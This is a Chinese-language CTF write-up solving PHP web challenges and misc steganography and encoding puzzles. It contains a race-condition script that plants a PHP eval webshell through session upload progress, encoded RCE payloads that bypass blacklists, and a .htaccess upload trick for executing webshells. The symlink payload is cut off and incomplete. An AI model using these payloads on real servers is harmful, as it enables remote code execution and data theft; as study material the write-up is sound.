phpdest
知识点
- 软连接绕过require_once 不能重复包含文件的限制
- PHP_SESSION_UPLOAD_PROGRESS文件包含(条件竞争)
题目给了源码:
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}
- require_once函数。它与require一样都是包含函数,作用和语法也基本相同,唯一的区别就是php会检查该文件是否已经被包含过,如果该文件被包含过,则不会再次包含
flag在flag.php中,但是在开头已经包含过一次了
- 思路就是,绕过这个
require_once 包含一次的限制,使用PHP伪协议去读取文件源码
如何绕过呢?
php最新版的小提示
require_once包含的软连接层数较多时,once 的 hash 匹配会直接失效造成重复包含。
软链接是什么?也被称为符号链接。存放另一个文件的路径的形式存在,可以对一个不存在的文件名进行链接,可以对目录进行链接。
- 小知识点:
- /proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接
于是:用伪协议配合多级符号链接的办法进行绕过 Payload: 软连接符号可以多
?file=php:
法二
PHP_SESSION_UPLOAD_PROGRESS文件包含 非预期解 思路就是:通过可控制的PHPSESSID 来包含一个shell文件,利用条件竞争使用命令读取flag(条件竞争是因为当文件上传结束后,php将会立即清空对应session文件中的内容,因此,我们需要赶在文件被清除前利用)
- 知道session文件的路径(举例:/var/lib/php/sessions/*****(***为文件名))
- 文件名可控
- 内容可以通过PHP_SESSION_UPLOAD_PROGRESS写入的
大神脚本
import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://4c7d756c-667c-49bf-ab39-ce10be778ea5.node4.buuoj.cn:81/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://4c7d756c-667c-49bf-ab39-ce10be778ea5.node4.buuoj.cn:81/?file=/tmp/sess_'+sessid,data=data)
if '1.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
参考
XiLitter题解 php源码分析 require_once 绕过不能重复包含文件的限制 Hello World_PHP Session.upload_progress
EasyPHP
知识点:
- PHP数组与字符比较
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?> Try harder!
set_error_handler( function() use(&$fl4g) { print $fl4g; } );
- php的data函数是把时间戳格式化为更好的日期和时间。H表示小时,d表示一个月内的天数,i表示分钟数,知道这些就知道那个if语句压根就不成立,从if语句里读出flag是不可能的了。那么就只能从set_error_handler函数入手了。
- 这个函数是设置用户自定义的错误处理函数
字符串中比较字符的值,我们将参数值设置为数组(只要是与 array 比较,一定是 array 大)
Payload:
ctf[]=x
参考
php 数组和数字类型的比较
SimpleRCE
知识点
- PHP按位取反
~ 绕过 - hex2bin()字符编码绕过
- uniq 可检查文本文件中重复出现的行列
题目给出源码:
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
法一
思路:使用PHP按位取反~ 绕过 由于取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可
<?php
$a=urlencode(~('(cat /flag)'));
$b=urlencode(~('system'));
echo "system取反:".$b;
echo "\n";
echo "cat /flag取反:".$a;
echo "\n";
?>
system取反:%8C%86%8C%8B%9A%92 (cat /flag)取反:%D7%9C%9E%8B%DF%D0%99%93%9E%98%D6 Pyaload: aaa=(~%8C%86%8C%8B%9A%92)(~%D7%9C%9E%8B%DF%D0%99%93%9E%98%D6);
法二
- hex2bin()没有被过滤,考虑进制编码绕过 str_ireplace
- bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值
- hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符
<?php
echo "system (cat /flag)的十六进制值:".hex2bin('73797374656d2028636174202f666c616729')."\n";
echo "system十六进制值:".bin2hex('system')."\n";
echo "cat /flag的十六进制值:".bin2hex('cat /flag');
?>
system (cat /flag)的十六进制值:system (cat /flag) system十六进制值:73797374656d cat /flag的十六进制值:636174202f666c6167
Payload: aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));
法三
一种不太熟悉的方法
uniq 可检查文本文件中重复出现的行列。 payload:
aaa=hex2bin('73797374656d')('uniq /fla*');
另一种解法:
- cat命令的路径为/bin/cat,因为cat被过滤了,可以用正则绕过。(写路径是因为他会在该bin目录下正则匹配)payload:
aaa=hex2bin('73797374656D')('/bin/ca? /fla?');
参考
XiLitter题解 RCE篇之无数字字母rce
funny_upload
知识点:
- 前端JS禁用绕过
- 文件上传.htaccess配置将文件解析为PHP执行
- .htaccess配合php伪协议绕过
<? - Apache 服务器存在的.htaccess 文件上传漏洞
F12查看下源码:
function Checkfiles()
{
var fup = document.getElementById('file');
var fileName = fup.value;
var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG")
{
return true;
}
else
{
alert("这个文件不好,我不喜欢");
return false;
}
}
- 可以看到前端对上传文件的后缀做了过滤,只允许上传图片文件
通过禁用掉JS绕过前端 火狐禁用JS:url输入about:config
尝试上图片马
GIF89a
<script language='php'>@eval($_POST['jia']);</script>
<script language='php'>system('cat /flag');</script>
- 上传成功,并返回了该文件路径,所以接下来我们要做的就是将上传的一句话木马图片变成php文件去执行,可以上传.htaccess文件,内容如下:
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-encode/resource=shell.jpg"
访问shell.jpg文件,却发现虽然系统把shell.jpg文件不再当作图片文件处理了,但是页面并没有输出flag,怀疑有可能是高版本的php,禁用了<script language='php'> 标签,我们换一个一句话木马试一下 <?php eval(@$_POST['shell']);?>
- 应该是后端过滤了
<? 字符
在.htaccess中利用伪协议,对访问内容base64解码 .htaccess
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.jpg"
将一句话木马进行base64编码 shell.jpg(<?php eval($_POST['shell']);?> )
PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+
payload
shell=var_dump(file_get_contents('/flag')); - 也可以使用:
shell=print_r(file_get_contents('/flag'));
参考
张甲题解
MISC
Welcome to fxxking DestCTF
emm,我是新手,我知道是签到,改一下后缀就可以了
Pngenius
知识点
- 给了一张图片,现在kali中的zsteg中分析一下
- zsteg可以检测PNG和BMP图片里的隐写数据
zsteg -a (文件名) #查看各个通道的lsb
看到隐藏了一个zip文件,并且发现使用了lsp,给出了zip文件的password
- 现在要将zip文件从图片中提取出来
- 使用foremost工具
- foremost可以直接将图片文件中包含的所有文件分离,输出到一个output文件夹中。打开这个文件夹,我们可以看到audit.txt为记录分离过程的文件,jpg为该图片文件中包含的所有.jpg文件,zip为该图片文件中包含的所有.zip文件
foremost 1.png
解压输入密码就得到flag了
LSB图片隐写(最低有效位隐写)
- JPG是有损压缩的图片,所以一般使用PNG或BMP进行信息隐藏。一般BMP是没有压缩过的图片,所以会比较大。
- 如果图像是jpg图片的话,就没法使用lsb隐写了,原因是jpg图片对像数进行了有损压缩,我们修改的信息就可能会在压缩的过程中被破坏。
- 而LSB隐写就是通过修改RGB颜色分量的最低位二进制(LSB),来进行信息的储存,人类的眼睛并不能感知到前后的变化
过程中顺便了解了一下伪加密
- zip伪加密是在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包。但实际是没有密码的,所以使用任何密码都破解不了
一个 zip文件由三个部分组成: 压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志
压缩源文件目录区的全局方位标记为0900(表示为加密), 并且压缩文件数据区的全局方式位标记为0000(未加密)则会被识别为加密,但是文件并没有真正的加密,也就是所说的伪加密。
参考
CTF misc zip、rar文件伪加密
EasyEncode
附件是一个加密的txt,将压缩包放到010中,暴力破解得到口令
摩斯密码16进制解码 在线摩斯密码翻译器
5C75303035325C75303034375C75303035365C75303037615C75303036345C75303034345C75303034325C75303036655C75303034645C75303033335C75303037345C75303034355C75303035615C75303035375C75303033395C75303036625C75303036315C75303035375C75303033355C75303036655C75303035385C75303037615C75303034365C75303037615C75303035385C75303033325C75303035355C75303033305C75303036335C75303033335C75303036635C75303036365C75303034655C75303034365C75303033395C75303035365C75303036365C75303035315C75303032355C75303033335C75303034345C75303032355C75303033335C7530303434
十六进制到ASCII文本转换 十六进制到ASCII文本转换器
\u0052\u0047\u0056\u007a\u0064\u0044\u0042\u006e\u004d\u0033\u0074\u0045\u005a\u0057\u0039\u006b\u0061\u0057\u0035\u006e\u0058\u007a\u0046\u007a\u0058\u0032\u0055\u0030\u0063\u0033\u006c\u0066\u004e\u0046\u0039\u0056\u0066\u0051\u0025\u0033\u0044\u0025\u0033\u0044
得到的是Unicode编码的字符,Unicode解码: Unicode解码/编码
RGVzdDBnM3tEZW9kaW5nXzFzX2U0c3lfNF9VfQ%3D%3D
继续url解码 URL解码/编码
RGVzdDBnM3tEZW9kaW5nXzFzX2U0c3lfNF9VfQ==
base64解码 Base64解码/编码
Dest0g3{Deoding_1s_e4sy_4_U}
|